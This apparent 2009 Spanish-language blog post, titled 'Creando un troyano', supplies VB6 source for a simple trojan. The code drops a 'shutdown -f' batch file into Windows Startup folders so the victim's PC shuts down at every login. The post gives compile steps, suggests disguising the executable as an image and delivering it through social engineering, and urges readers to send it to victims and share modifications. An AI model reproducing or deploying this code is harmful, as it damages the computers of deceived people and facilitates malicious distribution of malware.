Creando un troyano

Posted on 13/08/2009

0


>Hola, aqui les dejo un codigo realizado con VB6 por desgracia, pero para ejecutarlo no se necesita tener frameworks como para ejecutar .net, etonces es facil de crear un ejecutable y enviar a alguien q use windows y destruir su PC.

Empezamos:

Creas un nuevo proyecto en VB, si no sabes buscas en internet…

Una vez creado, escribimos el siguiente codigo para el formulario

Public Sub crea_archivo(ByVal url As String, ByVal cont As String)
On Error GoTo fallo1
Dim obj As Object
Dim fl As Object
Dim vararray As Variant
vararray = Array(cont)
Set obj = CreateObject(“Scripting.FileSystemObject”)
Set fl = obj.CreateTextFile(url)
fl.writeline vararray(0)
fl.Close
fallo1:
End Sub

Private Sub Form_Load()
‘para server 2003 en ingles
Call crea_archivo(“C:\Documents and Setings\All User\Start Menu\Programs\Startup\text.bat”, “shutdown -f”)

‘para windows vista
Call crea_archivo(“C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\text.bat”, “shutdown -f”)

‘para windows xp
Call crea_archivo(“C:\Documents and Settings\All Users\Menú Inicio\Programas\Inicio\text.bat”, “shutdown -f”)
End Sub

Copias y pegas el codigo anterior, y generas un ejecutable es muy facil en este tipo de tecnologias viejas generar un .exe es muy simple vas a archivo(no estoy tan seguro del nombre es la primera opcion del menu) luego hay una opcion q dice generar ejecutable o algo asi le das ahi y pones el nombre del ejecutable .exe

Mismo caballo de troya vamos a esconder a nuestro ejecutable en una inocente imagen, luego para q la victima lo reciba usa Ingenieria Social.

Disfruta este juguete y pruebalo, modifica y comparte tus nuevos cambios

Anuncios